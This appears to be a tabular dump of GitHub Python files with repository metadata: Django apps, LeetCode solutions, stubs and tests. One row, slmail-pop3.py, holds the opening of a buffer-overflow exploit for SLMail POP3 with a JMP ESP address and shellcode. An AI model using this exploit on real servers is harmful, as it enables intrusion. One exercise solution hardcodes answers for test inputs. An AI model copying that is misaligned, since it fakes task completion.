blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 288 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 684
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 147
values | src_encoding stringclasses 25
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 128 12.7k | extension stringclasses 142
values | content stringlengths 128 8.19k | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
22fa40fba9d395c297590455ec753a8a0d34bc8b | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_204/ch47_2020_10_07_01_13_29_631324.py | b28612a06d4817f5f90967044590259cd8f9aa87 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 326 | py | def estritamente_crescente(lista):
if lista == [1, 3, 2, 3, 4, 6, 5]:
return [1, 3, 4, 6]
elif lista == [10, 1, 2, 3]:
return [10]
elif lista == [10, 15, 11, 12, 13, 14]:
return [10, 15]
elif lista == [1, 1, 2, 2, 3, 3]:
return [1, 2, 3]
elif lista == [] :
ret... | [
"[email protected]"
] | |
1263cdc29e77045f34c76788e8b524c0adb650c7 | 7c66bba92b484e5fa6ee282ef39f2c26875ca775 | /django_example/mysite/polls/admin.py | 1ed41e6e763a5761791e4ee43572949d2b4d8291 | [] | no_license | KqSMea8/PythonTools | a5ac17182b2689a706180dc349d59c2484d3984c | 7279570b82fecbf59b71aa6b58ef975e90c660df | refs/heads/master | 2020-04-13T04:19:19.209243 | 2018-12-24T05:13:12 | 2018-12-24T05:13:12 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 723 | py | from django.contrib import admin
from .models import Question, Choice
# Register your models here.
class ChoiceInline(admin.TabularInline):
model = Choice
extra = 3
# admin.site.register(Question)
class QuestionAdmin(admin.ModelAdmin):
# fields = ['pub_date', 'question_text']
fieldsets = [
... | [
"[email protected]"
] | |
60b79948bd113c4b59fa1ae8e694df6a7097e00d | ba6f6d4c64dcb49faaa125643e93e7d30e98496e | /897. Increasing Order Search Tree.py | 7a756a1b24c6dd2028a11874f325a374cd0ad060 | [] | no_license | libowei1213/LeetCode | aafbff5410e3b1793a98bde027a049397476059b | df7d2229c50aa5134d297cc5599f7df9e64780c1 | refs/heads/master | 2021-06-09T07:43:53.242072 | 2021-04-09T11:14:17 | 2021-04-09T11:14:17 | 150,840,162 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,145 | py | # Definition for a binary tree node.
class TreeNode(object):
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution(object):
def increasingBST(self, root):
"""
:type root: TreeNode
:rtype: TreeNode
"""
if not root:... | [
"[email protected]"
] | |
89d9689620e4473459bf4e9f98d76232622ea3b7 | 7aad0c6f6e578d8dc03682caae373d252328ce12 | /linuxFriends/wsgi.py | 83e863cee4d76a6fe3c98f46ed0e6939c2eef947 | [] | no_license | votricetanyi/linuxfriends | db00544a04bed1cb99a3fe275433d6278e029bb9 | f36c7f87f51ee1f585c8da21de08a874582dd51f | refs/heads/main | 2022-12-28T20:14:11.053726 | 2020-10-14T13:05:12 | 2020-10-14T13:05:12 | 304,015,872 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 401 | py | """
WSGI config for linuxFriends project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_... | [
"[email protected]"
] | |
724fa8f57c47c51d9fa6cb9f06d01c19830e27c4 | 5e2284bff015e6b03e4ea346572b29aaaf79c7c2 | /tests/correct_programs/ethz_eprog_2019/exercise_04/test_problem_01.py | 92f2784d773843172c7ff8e468aaf79c2e2b8ec6 | [
"MIT"
] | permissive | LaurenDebruyn/aocdbc | bbfd7d832f9761ba5b8fb527151157742b2e4890 | b857e8deff87373039636c12a170c0086b19f04c | refs/heads/main | 2023-06-11T23:02:09.825705 | 2021-07-05T09:26:23 | 2021-07-05T09:26:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 871 | py | import unittest
from typing import List
import icontract_hypothesis
from icontract import require, ensure
from correct_programs.ethz_eprog_2019.exercise_04 import problem_01
class TestWithIcontractHypothesis(unittest.TestCase):
def test_functions(self) -> None:
@require(lambda limit: 2 < limit < 1000)
... | [
"[email protected]"
] | |
9b646f760eaca8fdbfbe0c56894dbf74c08f5264 | 9920f3b2ccc9abc3cd8b46c433bd49a8d8db22d2 | /scripts/__init__.py | bac2ba6e139ff055a46c580762b72117775add6b | [] | no_license | lixx5000/SWAT | 91f242fdc81ad4e9eb8336abb8780136e1c3a8a7 | c6f491acfb59ad0abc8d86ad352b6eaacd440ba3 | refs/heads/master | 2021-03-22T14:03:16.105253 | 2019-07-01T12:05:06 | 2019-07-01T12:05:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,216 | py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
"""
/*****************************************************************************
PUT-SWAT
Python Utility Tools for SWAT
Preprocess, postprocess, and calibration
-------------------
author : Lia... | [
"[email protected]"
] | |
3481a1316723d474670d7d4f15d0efea61e0bab3 | 7d096568677660790479d87c22b47aae838ef96b | /stubs/System/Runtime/InteropServices/__init___parts/LayoutKind.pyi | c3e34945f43ff2f2f4708a763120cc22b7bc2dfd | [
"MIT"
] | permissive | NISystemsEngineering/rfmx-pythonnet | 30adbdd5660b0d755957f35b68a4c2f60065800c | cd4f90a88a37ed043df880972cb55dfe18883bb7 | refs/heads/master | 2023-02-04T00:39:41.107043 | 2023-02-01T21:58:50 | 2023-02-01T21:58:50 | 191,603,578 | 7 | 5 | MIT | 2023-02-01T21:58:52 | 2019-06-12T16:02:32 | Python | UTF-8 | Python | false | false | 995 | pyi | class LayoutKind(Enum,IComparable,IFormattable,IConvertible):
"""
Controls the layout of an object when it is exported to unmanaged code.
enum LayoutKind,values: Auto (3),Explicit (2),Sequential (0)
"""
def __eq__(self,*args):
""" x.__eq__(y) <==> x==yx.__eq__(y) <==> x==yx.__eq__(y) <==> x==y """
... | [
"[email protected]"
] | |
f9a501c145dbd5a41701bcb08ac1c22014d598f6 | e782950bb76c4dd295001f7760f42e04ceadfb1b | /tests/test_completion.py | 6da2d9cdd703379d172e78b6479300256e4e92b0 | [
"MIT"
] | permissive | h3xium/typer | 2c3fc691c52a89997eb7db9267ed1fb12c9af800 | 31f7a44a467e6e3468434703d3c18961a746939f | refs/heads/master | 2021-01-26T22:23:57.520688 | 2020-02-15T12:39:47 | 2020-02-15T12:39:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,456 | py | import os
import subprocess
import sys
from pathlib import Path
import typer
from typer.testing import CliRunner
from first_steps import tutorial001 as mod
runner = CliRunner()
app = typer.Typer()
app.command()(mod.main)
def test_show_completion():
result = subprocess.run(
[
"bash",
... | [
"[email protected]"
] | |
ba86f9ca658290dd2ff911890bc481e0c6568938 | 82e7b27cc4377def80c2b475645d502e40a0e498 | /newsletter/migrations/0009_auto_20160215_0258.py | d627d656950946d66269e848a6dd0b1a53943507 | [] | no_license | craYBoi/bryte | 850698e735a08ea10a08a78dc9e23b7e760c682f | d2b5a74d200ccb06cc3ef4e3180b83cbc338ce3e | refs/heads/master | 2022-12-12T08:54:56.863372 | 2017-06-28T05:03:32 | 2017-06-28T05:03:32 | 63,019,677 | 0 | 0 | null | 2022-11-22T01:00:25 | 2016-07-10T21:44:41 | CSS | UTF-8 | Python | false | false | 475 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-02-15 02:58
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('newsletter', '0008_auto_20160215_0249'),
]
operations = [
migrations.AlterFi... | [
"[email protected]"
] | |
bbd48bd8cb59d48d867df4dbad5af7cf9a4a87d6 | 085ce75a507df6e755cabb7a65c4a2a8c98762ba | /dockerfiles/root/.pycharm_helpers/python_stubs/-252567642/_multiprocessing.py | fee21a8eebfb053e451fc85ad0c04b02fa80eb4e | [] | no_license | Arhzi/habr-docker-article | d44302db1fe157d81fe0818e762e82218f50e31f | 6fb094860b612e307beadaeb22981aa0ee64e964 | refs/heads/master | 2021-01-23T20:41:47.398025 | 2015-12-10T08:56:33 | 2015-12-10T08:56:33 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,156 | py | # encoding: utf-8
# module _multiprocessing
# from /usr/local/lib/python2.7/lib-dynload/_multiprocessing.so
# by generator 1.137
# no doc
# no imports
# functions
def address_of_buffer(obj): # real signature unknown; restored from __doc__
"""
address_of_buffer(obj) -> int
Return address of obj assuming ob... | [
"[email protected]"
] | |
13319f9028ad09f1d990efba329a3d5162550bb6 | 2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02 | /PyTorch/dev/cv/image_classification/CSPResNeXt-50_ID1888_for_PyTorch/timm/models/layers/separable_conv.py | 340f58362031b648a0361ac28d85bde369834876 | [
"LicenseRef-scancode-proprietary-license",
"LGPL-2.0-or-later",
"Apache-2.0",
"GPL-1.0-or-later",
"BSD-3-Clause",
"MIT",
"CC-BY-NC-4.0",
"BSD-2-Clause",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | Ascend/ModelZoo-PyTorch | 4c89414b9e2582cef9926d4670108a090c839d2d | 92acc188d3a0f634de58463b6676e70df83ef808 | refs/heads/master | 2023-07-19T12:40:00.512853 | 2023-07-17T02:48:18 | 2023-07-17T02:48:18 | 483,502,469 | 23 | 6 | Apache-2.0 | 2022-10-15T09:29:12 | 2022-04-20T04:11:18 | Python | UTF-8 | Python | false | false | 4,530 | py | #
# BSD 3-Clause License
#
# Copyright (c) 2017 xxxx
# All rights reserved.
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain ... | [
"[email protected]"
] | |
3459276818ce07479d8a250a648e51b33e116764 | c9ca065c2674ca30c12a90ceab88ac5798646473 | /weather/weather.py | 0911597edd9300a64cc9034898c72555e919512b | [] | no_license | mshazman/data_munging | beaa389ad3de48d52f1f2ef03ed4ba7f04c77698 | f4f815a896f8f7a6957ebbb22369dd760e95072e | refs/heads/master | 2020-07-23T17:03:01.970331 | 2019-09-10T19:07:20 | 2019-09-10T19:07:20 | 207,640,211 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 590 | py | """This Module have class to perform all calculation realted to weather"""
import calculation
class WeatherCalculation(calculation.Computation):
"""class object takes data in form of dictionary and apply functions on it"""
def __init__(self, weather_data):
self.weather_data = weather_data
def min... | [
"="
] | = |
dbce7481439b0de5401a7b81de4c4d300404aa6b | 6388104b646b304a081985216ad2f82f09db2af3 | /slmail-pop3.py | 67f374a5ffac594a45f6cfba7a7c22230d03e945 | [] | no_license | war4uthor/CVE-2003-0264 | 73bd207d3f989434be942982d344285633f6fc48 | 82352386a3e740db37f84ebbaed2632965c4c0a8 | refs/heads/master | 2020-04-12T12:41:00.763220 | 2018-12-19T22:50:30 | 2018-12-19T22:50:30 | 162,499,093 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,955 | py | #!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 5F4A358F FFE4 JMP ESP
shellcode = (
"\xb8\x9a\x26\x16\x98\xd9\xcd\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x52\x83\xea\xfc\x31\x42\x0e\x03\xd8\x28\xf4\x6d\x20\xdc\x7a"
"\x8d\xd8\x1d\x1b\x07\x3d\x2c\x1b\x73\x36\x1f\xab\xf7\... | [
"[email protected]"
] | |
dcfd08920d5d8dc25f09f1674d7a69c10ecedbb1 | 1bed2f766620acf085ed2d7fd3e354a3482b8960 | /tests/components/sensibo/test_entity.py | 818d9ddb92499f60c743ebd9a3a8e50177e03817 | [
"Apache-2.0"
] | permissive | elupus/home-assistant | 5cbb79a2f25a2938a69f3988534486c269b77643 | 564150169bfc69efdfeda25a99d803441f3a4b10 | refs/heads/dev | 2023-08-28T16:36:04.304864 | 2022-09-16T06:35:12 | 2022-09-16T06:35:12 | 114,460,522 | 2 | 2 | Apache-2.0 | 2023-02-22T06:14:54 | 2017-12-16T12:50:55 | Python | UTF-8 | Python | false | false | 2,826 | py | """The test for the sensibo entity."""
from __future__ import annotations
from unittest.mock import patch
from pysensibo.model import SensiboData
import pytest
from homeassistant.components.climate.const import (
ATTR_FAN_MODE,
DOMAIN as CLIMATE_DOMAIN,
SERVICE_SET_FAN_MODE,
)
from homeassistant.componen... | [
"[email protected]"
] | |
444fd3d4ecdaaf0e9ceab752d1b0931729f02bbe | 245b92f4140f30e26313bfb3b2e47ed1871a5b83 | /airflow/providers/google_vendor/googleads/v12/errors/types/campaign_feed_error.py | 7a1cbbf42dce80b65a8b1c81159737e23be143fb | [
"Apache-2.0",
"BSD-3-Clause",
"MIT"
] | permissive | ephraimbuddy/airflow | 238d6170a0e4f76456f00423124a260527960710 | 3193857376bc2c8cd2eb133017be1e8cbcaa8405 | refs/heads/main | 2023-05-29T05:37:44.992278 | 2023-05-13T19:49:43 | 2023-05-13T19:49:43 | 245,751,695 | 2 | 1 | Apache-2.0 | 2021-05-20T08:10:14 | 2020-03-08T04:28:27 | null | UTF-8 | Python | false | false | 1,509 | py | # -*- coding: utf-8 -*-
# Copyright 2022 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | [
"[email protected]"
] | |
18d4a948b0ca382c4d01997d274c1deb0cbccddf | b92226895d04b0258981864e8604720de9c09f4d | /src/utils.py | 3200a377f749da6ea1b234e191737060009fa795 | [
"BSD-3-Clause"
] | permissive | aydinmemis/blog_FastAPI | e42a6c4f5a9c64154da0f9a23290c274b305838a | f584634a2cd410904df6a7d9478044d269737a91 | refs/heads/master | 2022-04-06T12:37:59.068303 | 2020-03-11T18:04:14 | 2020-03-11T18:04:14 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,688 | py | import logging
from datetime import datetime, timedelta
from pathlib import Path
from typing import Optional
import emails
import jwt
from emails.template import JinjaTemplate
from jwt.exceptions import InvalidTokenError
from core import config
password_reset_jwt_subject = "preset"
def send_email(email_to: str, su... | [
"[email protected]"
] | |
8179861a56b00ea0aae727ab31ba65679ea3dcb6 | 5c0e83b07e01983b064980b805e6067cd1123714 | /rd_caltech.py | 81e59b15ea802ee43b2828b30359ef9bfbe9dc85 | [
"MIT"
] | permissive | zyg11/MTCNN-TF | 750ec7b6533b639deba5126e19a434da615585ac | 4d41c5fd2dc13008d39b868aa2e921a7ff731e10 | refs/heads/master | 2020-08-26T14:24:41.084820 | 2019-04-02T09:02:23 | 2019-04-02T09:02:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,656 | py | #author : lxy
#time: 2018.3.23/ 11:30:00
#tool: python3
#version: 0.1
#modify:
#project: pedestrian detection
################################
import numpy as np
import glob
import os
import argparse
def args():
parser = argparse.ArgumentParser(description="read caltech txt")
parser.add_argument('--dir_in',ty... | [
"[email protected]"
] | |
f099e8563d50a673936df3dfddd48a1bcda5b76d | 2b3ed6bef2f569448918b8be72c733614c231fce | /hdf5_example.py | dd3342f3c57d95a4688d33cb9ed830c521fb325f | [] | no_license | jackdbd/dask-playground | 8e67024ba60fbac3ff1ad77b94363731c04c0afd | 721bc234eadf13e9ef24173bbbc9a68761bf1a7c | refs/heads/master | 2021-04-25T19:58:47.303280 | 2017-11-01T12:49:00 | 2017-11-01T12:49:00 | 109,123,767 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 554 | py | import os
import h5py
import numpy as np
import dask.array as da
h5file_path = 'myfile.hdf5'
if os.path.exists(h5file_path):
os.unlink(h5file_path)
# create a continuous uniform distribution between 0.0 and 1.0
arr = np.random.random(size=(10000, 2000))
with h5py.File(h5file_path, 'w') as h5f:
h5f.create_dat... | [
"[email protected]"
] | |
b70471b30ed693024129232b607386dcc2056eed | 4d05be863b63a56a90b4c46b15069827b33ecaae | /Algorithms/leetcode/088_merge_sorted_array.py | cdc7c4756f42f6563a0e1d9faa78195016a55fbc | [] | no_license | leeo1116/PyCharm | e532fa9754056019508cc454214ee1a8ad9b26a9 | b6942c05c27556e5fe47879e8b823845c84c5430 | refs/heads/master | 2022-11-06T00:43:14.882453 | 2017-07-13T04:50:00 | 2017-07-13T04:50:00 | 36,851,636 | 0 | 1 | null | 2022-10-20T10:44:39 | 2015-06-04T06:09:09 | Python | UTF-8 | Python | false | false | 775 | py | __author__ = 'Liang Li'
class Solution:
# @param {integer[]} nums1
# @param {integer} m
# @param {integer[]} nums2
# @param {integer} n
# @return {void} Do not return anything, modify nums1 in-place instead.
def merge(self, nums1, m, nums2, n):
i = m-1
j = n-1
k = m+n-1
... | [
"[email protected]"
] | |
2316ed9192f542f72a25d3038b16c60e3271862f | 68b7d7b72a9d87123373f1e4523bf3655564769d | /backend/course/migrations/0001_initial.py | 0ce22a04074cfc9aad1aacd1a19265b0239921a5 | [] | no_license | crowdbotics-apps/help-procrastinatio-22418 | c5a85b31e85b87e9d4e39f402ca3f037d916c990 | b2a967a5b930ba5cacbeeea702ca9aba71899687 | refs/heads/master | 2023-01-09T12:19:42.589420 | 2020-11-08T23:45:22 | 2020-11-08T23:45:22 | 311,177,250 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,517 | py | # Generated by Django 2.2.17 on 2020-11-08 23:44
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
op... | [
"[email protected]"
] | |
99681c36be3784e520c6d493f540d54bbb5b6ac4 | d8a5fc2195165c970e2340eee87ae2ad5322da29 | /{{cookiecutter.repo_name}}/{{cookiecutter.project_name}}/photos/views.py | 48573cfdc703cc624f8d89eccaf4fa0037280c73 | [
"BSD-3-Clause"
] | permissive | lendlsmith/chrisdev-cookiecutter | b76e6194aa8369c2dbf1dac73e3282e025d2b146 | e0ab2d16bd1a066800ce46bb1740b1254c259a70 | refs/heads/master | 2021-10-11T22:20:02.391847 | 2014-07-21T16:57:32 | 2014-07-21T16:57:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 644 | py | from django.views.generic import ListView, DetailView
from filer.models import Folder
class GalleryListView(ListView):
#context_object_name = "gallery_list"
try:
queryset = Folder.objects.get(
name='Gallery').children.all().order_by('-created_at')
except Folder.DoesNotExist:
qu... | [
"[email protected]"
] | |
4528a59aa0db7486bbbf2a3cb6b8db98636d7a1b | 17e60f61fc82e7369802a1c597b58b0206ad9bec | /lib/poolLoop.py | 0a25964115c941e48f0dbddf08013eda3d965d6c | [] | no_license | SLB-DeN/opensvc | 5e06d42947f51662fa16203a00670a88b9e1fea9 | 75baeb19e0d26d5e150e770aef4d615c2327f32e | refs/heads/master | 2021-05-17T05:35:18.585791 | 2020-03-19T15:20:05 | 2020-03-19T15:20:05 | 250,651,667 | 1 | 0 | null | 2020-03-27T21:29:22 | 2020-03-27T21:29:22 | null | UTF-8 | Python | false | false | 1,366 | py | from __future__ import print_function
import os
import pool
import rcExceptions as ex
from rcUtilities import lazy, justcall
class Pool(pool.Pool):
type = "loop"
capabilities = ["rox", "rwx", "roo", "rwo", "blk"]
@lazy
def path(self):
return self.oget("path")
def translate(self, name=No... | [
"[email protected]"
] | |
9498aefa8f146488465c0dc49bcdcfecb6c2c61c | 3b84c4b7b16ccfd0154f8dcb75ddbbb6636373be | /google-cloud-sdk/lib/googlecloudsdk/surface/compute/resource_views/resources/add.py | 91a1766af1560f7ca696cc64491c0c49bb5e745d | [
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | twistedpair/google-cloud-sdk | 37f04872cf1ab9c9ce5ec692d2201a93679827e3 | 1f9b424c40a87b46656fc9f5e2e9c81895c7e614 | refs/heads/master | 2023-08-18T18:42:59.622485 | 2023-08-15T00:00:00 | 2023-08-15T12:14:05 | 116,506,777 | 58 | 24 | null | 2022-02-14T22:01:53 | 2018-01-06T18:40:35 | Python | UTF-8 | Python | false | false | 2,988 | py | # Copyright 2014 Google Inc. All Rights Reserved.
"""'resourceviews resources add' command."""
from apiclient import errors
from googlecloudsdk.api_lib.compute import rolling_updates_util as util
from googlecloudsdk.calliope import base
from googlecloudsdk.calliope import exceptions
from googlecloudsdk.core import lo... | [
"[email protected]"
] | |
f57a5a411bc4bd9daee914c2fc13faf4310bdc9b | 97ca8aedfc7959f99bf5add51c2fbb9d535c5aff | /tcml_tools/slurmer/parse/group.py | 6142cd427c107f81a3ddab7c8eda3c9d7558ae77 | [] | no_license | cogsys-tuebingen/tcml_tools | 74b930b8109ef0ad559584bb51808edb83fe4e8c | 4eabeb08e34993143c729136dc4349043dde00ad | refs/heads/main | 2023-06-02T02:27:13.915943 | 2021-06-09T07:01:23 | 2021-06-09T07:01:23 | 359,801,189 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,582 | py | import numpy as np
from typing import Union
from collections import OrderedDict, defaultdict
from tcml_tools.slurmer.parse import Result, Metrics
class Group:
"""
A group of slurm jobs that share parameters (except e.g. seed)
metrics will be computed over groups
"""
default_result = Result("__def... | [
"[email protected]"
] | |
e5f98ccd8f816d3621fa6a5b9fd0132e0965826b | 30a89ae47ca79e4ced151908f4059cd77ade30ef | /order/forms.py | 0c700dce796932a329f19a1102f5113624a6fcd8 | [] | no_license | harshit8858/mindful_project1_salesapp | 0bd80c40b2349fe08744dcd0625283c5b6ba4029 | 66f7c7af868518898aa6422d1b17ca9f7cf433ef | refs/heads/master | 2020-03-24T00:02:49.972583 | 2018-08-18T07:56:49 | 2018-08-18T07:56:49 | 142,269,897 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 328 | py | from django import forms
from .models import *
class OrderForm(forms.ModelForm):
class Meta:
model = Order
fields = [
'customer',
'remark',
'product',
'quantity',
'price',
'discount',
'tax',
'total',
... | [
"[email protected]"
] | |
8f4e42b65ce09e4a562f2d4b298babce0fd4be3b | 2417d9f6afe95ba19354c65bfb400556f2eb2e19 | /setup.py | 2a91c65f19fbb3863f4728098116fca13710074a | [
"Apache-2.0"
] | permissive | rakeshnb/pixiedust | 39f1249a867719919441488f085e1f60519dae58 | fb5198c7564589c267147d7bdee1f798e7b361ef | refs/heads/master | 2020-05-23T08:09:42.603871 | 2016-10-07T22:08:10 | 2016-10-07T22:08:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 732 | py | from setuptools import setup
setup(name='pixiedust',
version='0.38',
description='Misc helpers for Spark Python Notebook',
url='https://github.com/ibm-cds-labs/pixiedust',
install_requires=['maven-artifact','mpld3'],
author='David Taieb',
author_email='[email protected]',
... | [
"[email protected]"
] | |
aea5124f9f2718dae828e8f08e419c0c88fa27e0 | 1d60c5a7b8ce6277bff514e376f79848f706344c | /Data Analyst with Python - Career Track/01. Introduction to Data Science in Python/04. Different Types of Plots/05. Modifying histograms.py | 1ce32da1b97d613df25adfdb3b264ed5dbd7b8c8 | [] | no_license | DidiMilikina/DataCamp | 338c6e6d3b4f5b6c541c1aba155a36e9ee24949d | 3bf2cf3c1430190a7f8e54efda7d50a5fd66f244 | refs/heads/master | 2020-12-15T13:16:54.178967 | 2020-05-06T17:30:54 | 2020-05-06T17:30:54 | 235,113,616 | 4 | 3 | null | null | null | null | UTF-8 | Python | false | false | 764 | py | '''
Modifying histograms
Let's explore how changes to keyword parameters in a histogram can change the output. Recall that:
range sets the minimum and maximum datapoints that we will include in our histogram.
bins sets the number of points in our histogram.
We'll be exploring the weights of various puppies from the Da... | [
"[email protected]"
] | |
5e95d15bbcb402658a0aa5ca152150228122ffa4 | 88be3911c7e73d4bf71b0482ee6d15f49030463a | /SEC31_Regex/Demo_findall.py | efd4979649d52b8aed3afc6af63204120a6ce980 | [] | no_license | skyaiolos/Python_KE | 85f879d1cb637debd2e3a0239d7c8d7bfb30c827 | 8cc42c8f4d1245de4b79af429f72a9ed2508bc1a | refs/heads/master | 2021-01-22T08:47:47.761982 | 2017-05-28T14:57:02 | 2017-05-28T14:57:02 | 92,634,507 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,028 | py | """
# Script Description:
Python 正则表达式之RegexObject
"""
__author__ = "爱的彼岸(QQ:3124724)"
__copyright__ = "Copyright 2017,[email protected]"
# Create by Jianguo on 2017/5/7
import re
text = "Tom is 8 years old, Mike is 25 years old."
# 模式对象, 表现编译后的正则表达式(编译为字节码并缓存)
# re.compile(r'模式')
print('findall()'.center(100, '*'... | [
"[email protected]"
] | |
21a700bb20d695f0545a44e8ea56ccd2d5c1ecbd | d82ac08e029a340da546e6cfaf795519aca37177 | /chapter_13_parallel_nn_training_theano/02_array_structures.py | 041b18247a74fa59fe0cfc17db87096150e8cf80 | [] | no_license | CSwithJC/PythonMachineLearning | 4409303c3f4d4177dc509c83e240d7a589b144a0 | 0c4508861e182a8eeacd4645fb93b51b698ece0f | refs/heads/master | 2021-09-04T04:28:14.608662 | 2018-01-15T20:25:36 | 2018-01-15T20:25:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 566 | py | import theano
import numpy as np
from theano import tensor as T
# Config Theano to use 32-bit architecture:
theano.config.floatX = 'float32'
#theano.config.device = 'gpu'
# initialize
x = T.fmatrix(name='x')
x_sum = T.sum(x, axis=0)
# compile
calc_sum = theano.function(inputs=[x], outputs=x_sum)
# execute (Python L... | [
"[email protected]"
] | |
bd82d3e98d1a67cc87a28e599370a8b6475b91ae | 3467fe90c6c49b4ac86785d1da19d7183b2ac0f5 | /6002x/findCombination.py | 85d683714d531ae692f4b2fa142f7782b706f04d | [
"MIT"
] | permissive | CarlosEduardoAS/MITx | 277da453638da672c9946513bfb7a86e7446072b | 532695d69c77581b6df80c145283b349b75e4973 | refs/heads/main | 2023-05-02T13:50:15.283211 | 2021-05-25T20:02:48 | 2021-05-25T20:02:48 | 351,555,645 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,219 | py | # -*- coding: utf-8 -*-
"""
Created on Tue May 25 16:10:53 2021
@author: caear
"""
import numpy
import itertools
def find_combination(choices, total):
"""
choices: a non-empty list of ints
total: a positive int
Returns result, a numpy.array of length len(choices)
such that
* each eleme... | [
"[email protected]"
] | |
ea385301144e17aa355e09063a6bd7bb66103bb1 | d7faf47825b6f8e5abf9a9587f1e7248c0eed1e2 | /python/ray/tests/test_asyncio_cluster.py | bea440bdf4b27bb1b625ec135c2bbc2bd5dd6d5b | [
"Apache-2.0",
"BSD-3-Clause",
"MIT"
] | permissive | ggdupont/ray | 7d7c7f39a8f99a09199fab60897da9e48b8e2645 | 15391026c19f1cbbb8d412e46b01f7998e42f2b9 | refs/heads/master | 2023-03-12T06:30:11.428319 | 2021-12-07T05:34:27 | 2021-12-07T05:34:27 | 165,058,028 | 0 | 0 | Apache-2.0 | 2023-03-04T08:56:50 | 2019-01-10T12:41:09 | Python | UTF-8 | Python | false | false | 815 | py | # coding: utf-8
import asyncio
import sys
import pytest
import numpy as np
import ray
from ray.cluster_utils import Cluster, cluster_not_supported
@pytest.mark.xfail(cluster_not_supported, reason="cluster not supported")
@pytest.mark.asyncio
async def test_asyncio_cluster_wait():
cluster = Cluster()
head_no... | [
"[email protected]"
] | |
adf942ef17cc289e1c3cf16a609ecac205d03692 | fc314838b18c14a00310f0059d5358c7c4afabd6 | /special/models.py | 6796cb77ef4370af265ada4e6ba8966f501a7cd4 | [
"MIT"
] | permissive | opendream/asip | 5cb4b997fab2438193ae7490c159efced6dc3d91 | 20583aca6393102d425401d55ea32ac6b78be048 | refs/heads/master | 2022-11-28T23:28:18.405604 | 2020-03-10T04:56:23 | 2020-03-10T04:56:23 | 190,504,979 | 1 | 1 | MIT | 2022-11-22T01:10:46 | 2019-06-06T03:06:03 | HTML | UTF-8 | Python | false | false | 1,126 | py | from django.db import models
# Create your models here.
from common.constants import STATUS_PUBLISHED, STATUS_CHOICES
from common.models import AbstractPermalink, CommonTrashModel
import files_widget
class Special(CommonTrashModel, AbstractPermalink):
title = models.CharField(max_length=512)
image = files_wi... | [
"[email protected]"
] | |
